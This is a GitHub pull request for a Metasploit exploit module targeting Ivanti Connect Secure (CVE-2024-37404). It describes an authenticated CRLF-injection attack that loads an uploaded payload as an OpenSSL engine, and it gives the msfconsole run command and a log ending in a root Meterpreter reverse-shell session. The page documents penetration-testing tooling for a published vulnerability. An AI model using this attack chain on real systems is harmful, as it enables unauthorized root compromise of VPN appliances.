Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Ivanti Connect Secure - Authenticated RCE via OpenSSL CRLF Injection (CVE-2024-37404) #19595

Open
wants to merge 2 commits into
base: master
Choose a base branch
from

Conversation

cdelafuente-r7
Copy link
Contributor

This module exploits a CRLF injection vulnerability in Ivanti Connect Secure to achieve remote code execution (CVE-2024-37404). Versions prior to 22.7R2.1 and 22.7R2.2 are vulnerable. Note that Ivanti Policy Secure versions prior to 22.7R1.1 are also vulnerable but this module doesn't support this software.

Valid administrative credentials are required. A non-administrative user is also required and can be created using the administrative account, if needed.

Finally, the Client Log Upload feature needs to be enabled. This can also be done using the administrative interface (see the Installation Steps section below), if it is not enabled already.

Process Overview

First, the module will log into the administrative interface and check if the version is vulnerable. Then, it will connect to the user interface using non-privileged credentials and upload a log file archive containing the payload. This file is stored as a known path on the server, which can be retrieved from the administrative interface. Then, it leverages the CRLF vulnerability by creating a Certificate Signing Request and passing a specially crafted OpenSSL configuration. This configuration instructs OpenSSL to use a custom cryptographic engine, which points to the log file path (our payload). The payload is immediately executed, giving RCE as the root user on the appliance. This has been successfully tested against Ivanti Connect Secure version 22.3R1 (build 1647).

This has been successfully tested against Ivanti Connect Secure version 22.3R1 (build 1647).

Installation Steps

Get an Ivanti Security Appliance (ISA) or a Virtual Appliances (ISA-V Series) with a vulnerable Ivanti Connect Secure installed.

Note that it is not possible to download a trial version of a Virtual Appliance unless you contact sales and request a demo.

Log into to the admin interface (https://admin) to proceed with the following requirements:

Create a normal user

  • In the Authentication menu, select Auth. Servers.
  • Select the System Local Authentication/Authorization Servers or any server with the type Local Authentication. Don't select the Administrators server since we need a non-administrative account.
  • Click on the Users tab and then New.
  • Fill the registration form and click Save Changes.

Enable Client Log

  • Go to Users > User Roles and click on the Users role.
  • Go to General > Session Options.
  • Select Enable Upload Logs under the Upload logs section.
  • Click Save Changes.

Verification Steps

  1. Start msfconsole
  2. Do: use linux/http/ivanti_connect_secure_rce_cve_2024_37404
  3. Do: run verbose=true lhost=<local host> rhosts=<remote host> admin_username=<admin username> admin_password=<admin password> username=<normal user> password=<user password>
  4. You should get a Meterpreter session
  5. Make sure the admin and the normal user have been logged out by logging in the web interfaces with a web browser (you should have any warning saying a session is already active)
  6. Make sure the cleanup has been done correctly by checking System > Log/Monitoring

Scenarios

Ivanti Connect Secure version 22.3R1 (build 1647)

msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_37404) > run verbose=true lhost=192.168.211.69 rhosts=192.168.211.200 admin_username=msfadmin admin_password=1234567890 username=msfuser password=1234567890

[*] Started reverse TCP handler on 192.168.211.69:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Login to the administrative interface with username 'msfadmin' and password '1234567890'...
[!] The admin msfadmin is already logged in
[*] Getting the version...
[+] Found version 22.3R1 (build 1647)
[+] The target appears to be vulnerable.
[*] Uploading the payload...
[*] Login to the user interface with username 'msfuser' and password '1234567890'...
[*] Uploading the log file...
[*] Logging the user out...
[*] Getting the log file name...
[*] Triggering the payload...
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (1017704 bytes) to 192.168.211.200
[*] Cleaning up...
[*] Deleting the log file (payload)...
[*] Logging the administrator out...
[*] Meterpreter session 3 opened (192.168.211.69:4444 -> 192.168.211.200:50210) at 2024-10-29 16:43:35 +0100

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 192.168.211.200
OS           :  (Linux 4.15.18.34-production)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux

Comment on lines +30 to +32
Valid administrative credentials are required. A non-administrative
user is also required and can be created using the administrative
account, if needed.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think it would be neat if the exploit could create/destroy the non-administrative user if none is specified.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I first considered doing it but finally changed my mind. The user creation steps can be very different from on installation to another. Connect Secure can use multiple authentication servers and finding the right one where to create a user can be tricky.
I found that it would be safer to let the operator create the user himself and avoid breaking something in the administrative interface with a sketchy automation.

I would be more confident if I had access to multiple versions of the product to test, but I could only test against one version (22.3R1).

'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Could we add a new side effect here? e.g.

Suggested change
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, ACCOUNT_LOGOUT]

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I added a new side effect in f5ac33e. Thanks!

return CheckCode::Detected("Version number not found: #{e}")
end

unless version < Rex::Version.new('22.3R2')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
unless version < Rex::Version.new('22.3R2')
unless version < Rex::Version.new('22.7R2.2')

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Addressed in f5ac33e

begin
csrf_token = delete_log_file
rescue IvantiError => e
print_warning("Unable to cleanup properly, this will need to be done manually: #{e}")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Could we print out the path of the uploaded log file, so the user knows what to delete?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Absolutely, good call! Addressed in f5ac33e.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

3 participants